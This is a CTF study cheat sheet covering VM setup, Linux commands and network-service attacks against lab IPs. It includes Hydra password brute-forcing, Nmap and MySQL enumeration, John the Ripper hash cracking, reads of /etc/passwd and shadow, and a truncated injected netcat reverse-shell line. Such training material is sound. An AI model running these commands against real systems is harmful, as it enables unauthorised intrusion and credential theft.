

# CTF

Daniel Hiller

November 11, 2021

## Contents

<b>1</b>	<b>Introduction</b>	<b>2</b>
1.1	Contributing . . . . .	2
1.2	License . . . . .	2
<b>2</b>	<b>VM</b>	<b>3</b>
2.1	QEMU . . . . .	3
<b>3</b>	<b>Linux Basics</b>	<b>3</b>
3.1	Basic commands . . . . .	3
3.2	Bashscript . . . . .	4
3.3	FIND . . . . .	4
3.4	Filter Content . . . . .	4
3.4.1	Grep . . . . .	4
3.4.2	Cut . . . . .	4
3.5	Locate . . . . .	5
3.6	File Descriptors . . . . .	5
<b>4</b>	<b>Exploiting Network Services</b>	<b>5</b>
4.1	GitHub Repos . . . . .	5
4.2	SSH . . . . .	5
4.3	NMAP . . . . .	5
4.4	FTP . . . . .	6
4.4.1	Hydra . . . . .	6
4.5	NFS . . . . .	6
4.6	SMTP . . . . .	6
4.7	Metasploit . . . . .	7
4.8	MySQL . . . . .	7
4.9	Jon the Ripper . . . . .	7
<b>5</b>	<b>Web Fundamentals</b>	<b>8</b>
5.1	Curl . . . . .	8
5.2	Reverse Shell . . . . .	8

CTF

## 1 Introduction

### 1.1 Contributing

**Found an error or have a suggestion?** Please open an issue on GitHub ([github.com/dentremor/Software-Defined-Infrastrucure](https://github.com/dentremor/Software-Defined-Infrastrucure)):



Figure 1: QR code to source repository

### 1.2 License



Figure 2: AGPL-3.0 license badge

Software Defined Infrastructure (c) 2021 Daniel Hiller and contributors

SPDX-License-Identifier: AGPL-3.0

## 2 VM

### 2.1 QEMU

To create a disk image run the following command:

```
qemu-img create -f qcow2 disk.qcow2 64G
```

The VM can be executed with a bash script (remove Image.iso with the distro image of your choice):

```
#!/bin/bash
```

```
qemu-system-x86_64 -enable-kvm -m 4096 -smp $(nproc) -cpu host -device ac97 -audiodev alsa,
```

If you also have a 4k-panel, you probably will face some scaling issues like me.  
In that case make sure you use Wayland instead of X11.

## 3 Linux Basics

### 3.1 Basic commands

Command	Description
whoami	Displays current username.
wc	print newline, word, and byte counts for each file.
which	Locate a command.
id	Returns users identity.
hostname	Sets or prints the name of current host system.
uname	Prints basic information about the operating system name and system hardware.
pwd	Returns working directory name.
ifconfig	The ifconfig utility is used to assign or to view an address to a network interface and/or configure network interface parameters.
ip	Ip is a utility to show or manipulate routing, network devices, interfaces and tunnels.
netstat	Shows network status.
ss	Another utility to investigate sockets.
ps	Shows process status.
who	Displays who is logged in.
env	Prints environment or sets and executes command.

Command	Description
lsblk	Lists block devices.
lsusb	Lists USB devices.
lsuf	Lists opened files.
lspci	Lists PCI devices.

## 3.2 Bashscript

Run a `bashscript` with persistent permissions:

```
$ ./bashscript -p
```

`*(-p` = persists the permissions)

## 3.3 FIND

`find` search for files in a directory hierarchy:

```
$ find / -type f -name *.conf -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \;
```

```
*(-type f          = defined the type of the searched object
  -name *.conf      = indicates the name of the object we are looking for
  -user root        = filters all files from a specific user
  -size +20k        = show only files which are larger than 20KiB
  -newermt 2020-03-03 = show only files newer than the specified date
  -exec ls -al {} \; = this option executes the specified command
  -2>/dev/null      = this redirection ensures that no errors are displayed in the terminal
```

## 3.4 Filter Content

`less` is file pager.

`sort` sort lines of text files.

`tr` translate or delete characters.

`column` columnate lists - to display results in tabular form use the flag `-t`.

`wc` print newline, word, and byte counts for each file - `-l` prints line counter

### 3.4.1 Grep

`grep` print lines matching a pattern. If we want to exclude a result we must use the `-v` flag.

### 3.4.2 Cut

`cut` remove sections from each line of files.

```
$ cat /etc/passwd | grep -v "false\|nologin" | cut -d":" -f1
```

```
*(-d ":"      = Sets a delimiter at the character `:``  
  -f1         = Selects only this field in our case the first one)
```

### 3.5 Locate

locate - find files by name

Update the database for locate:

```
$ sudo updatedb
```

Search for all files that end with .conf

```
$ locate *.conf
```

### 3.6 File Descriptors

1. Data Stream for Input
  - STDIN - 0
2. Data Stream for Output
  - STDOUT - 1
3. Data Stream for Output that relates to an error occurring.
  - STDERR - 2

If we want to discard for example all errors and redirect the data into a file we can use:

```
$ find /etc/ -name shadow 2> stderr.txt 1> stdout.txt
```

## 4 Exploiting Network Services

### 4.1 GitHub Repos

SecLists: <https://github.com/danielmiessler/SecLists>

### 4.2 SSH

Authenticate via ssh with the key-file id\_rsa:

```
$ ssh -i id_rsa user@10.10.10.10
```

```
*(-i [file] = Identity file)
```

### 4.3 NMAP

Checks open ports in defined range and check running services with Nmap:

```
$ nmap 10.10.221.8 -sV -p 0-60000
```

```

*(-p- = Scans the whole portrange
  -p   = Specific port or portrange
  -sV  = Attempts to determine the version of the service running on port
  -A   = Enables OS detection, version detection, script scanning and traceroute)

```

## 4.4 FTP

Download a File from an FTP-Server with Wget:

```

$ wget -m ftp://user:password@ftp.example.com

*(-m = --mirror)

```

### 4.4.1 Hydra

Use Hydra for cracking password in our example on an FTP-Service:

```

$ hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp

*(-t 4      = Number of parallel connections per target
  -l [user] = Points to the user who's account you're trying to compromise
  -P [file] = Points to the file containing the list of possible passwords
  -vV       = Very verbose: shows the login+pass combination for each attempt
  [IP]      = The IP address of the target machine
  [ftp]     = Sets the protocol)

```

## 4.5 NFS

List name or NFS shares:

```

$ /usr/sbin/showmount -e [IP]

*(-e      = Shows the NSF server's export list
  [IP]    = The IP Address of the NFS server)

```

Connect NFS share with mount point on our machine:

```

$ sudo mount -t nfs IP:share /tmp/mount/ -nolock

*(-t nfs    = Type of device to mount, then specifying that it's NFS
  IP:share  = The IP Address of the NFS server, and the name of the share we wish to mount
  -nolock   = Specifies not to use NLM locking)

```

## 4.6 SMTP

There are three relevant commands, when it comes to SMTP:

```

(VRFY      = Confirming the names of valid users
  EXPN     = Reveals the actual address of user's aliases and lists of e-mail (mailing lists)
  RCPT TO  = Specifies the e-mail address of the recipient)

```

## 4.7 Metasploit

<code>*(search [name]</code>	<code>= Search for a module and his description</code>
<code>  use [name]</code>	<code>= Selects a module by name</code>
<code>  options</code>	<code>= When a module is selected we will see the options of the m</code>
<code>  set [option] [parameter]</code>	<code>= Set a specific option with a specific parameter</code>
<code>  run</code>	<code>= Run the exploit)</code>

For further information see the following documentation: <https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/>

## 4.8 MySQL

First we need a client, which is in our case `default-mysql-client`:

```
$ mysql -h [IP] -u [username] -p
```

<code>*(-h [IP]</code>	<code>= Connect to the MariaDB server on the given host</code>
<code>  -u [username]</code>	<code>= The MariaDB user name to use when connecting to the server</code>
<code>  -p</code>	<code>= The password to use when connecting to the server)</code>

If we do not have any credentials we can use Nmap or Metasploit to gain this information:

```
```bash
```

```
$ nmap --script=mysql-enum [target]
```

<code>*(--script=mysql-enum</code>	<code>= Scan with a single script: mysql-enum</code>
<code>  [target]</code>	<code>= The IP address of the target)</code>

Now that we know some usernames of the database, we can try to crack the passwords of them with Hydra:

```
hydra -t 16 -l root -P /usr/share/wordlists/rockyou.txt -vV 10.10.6.199 mysql
```

<code>*(-t 16</code>	<code>= Number of parallel connections per target</code>
<code>  -l [user]</code>	<code>= Points to the user who's account you're trying to compromise</code>
<code>  -P [file]</code>	<code>= Points to the file containing the list of possible passwords</code>
<code>  -vV</code>	<code>= Very verbose: shows the login+pass combination for each attempt</code>
<code>  [IP]</code>	<code>= The IP address of the target machine</code>
<code>  [mysql]</code>	<code>= Sets the protocol)</code>

## 4.9 Jon the Ripper

If we have a hash which look something like the following example:

```
carl:*EA031893AA21444B170FC2162A56978B8CEECE18
```

We can pipe the hash in a file:

```
$ echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
```

And crack the password with John the Ripper:

```
$ john hash.txt
$ john --show --format=RAW-MD5 hash.txt

*(--show          = show cracked passwords
  --format=<param> = force hash type: descrypt, bsdicrypt, md5crypt, RAW-MD5, bcrypt, LM, A
```

## 5 Web Fundamentals

### 5.1 Curl

If we want to get sources of a webpage, we can do this with Curl:

```
$ curl -X GET http://10.10.4.59:8081/ctf/post

*(-X [GET]          = Set kind of fetch
  [target]          = The URL of the webpage we want to fetch
  -d [param]        = Sends the specified data in a POST request to the HTTP server)
```

CEWL password list generator.

WPSCAN scans the Word Press version.

Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects.

### 5.2 Reverse Shell

```
$ ;nc -e /bin/bash
```

For more information checkout the following GitHub repo: <https://github.com/swisskyrepo/PayloadsAllTheThings>

If you gain access depending on the OS you can try the following commands to get more information: >Linux

```
$ whoami
$ id
$ ifconfig/ip addr
$ uname -a          # print system information
$ ps -ef            # -e = select all processes -f = do full-format listing
$ less /etc/passwd  # usernames with UID, GID, GECOS, home directory and login shell
$ cut -d: -f1 /etc/passwd # only usernames
$ cat /etc/os-release # Get information about the OS and the OS version
```

Windows

```
$ whoami
$ ver
$ ipconfig
```



```
$ tasklist  
$ netstat -an
```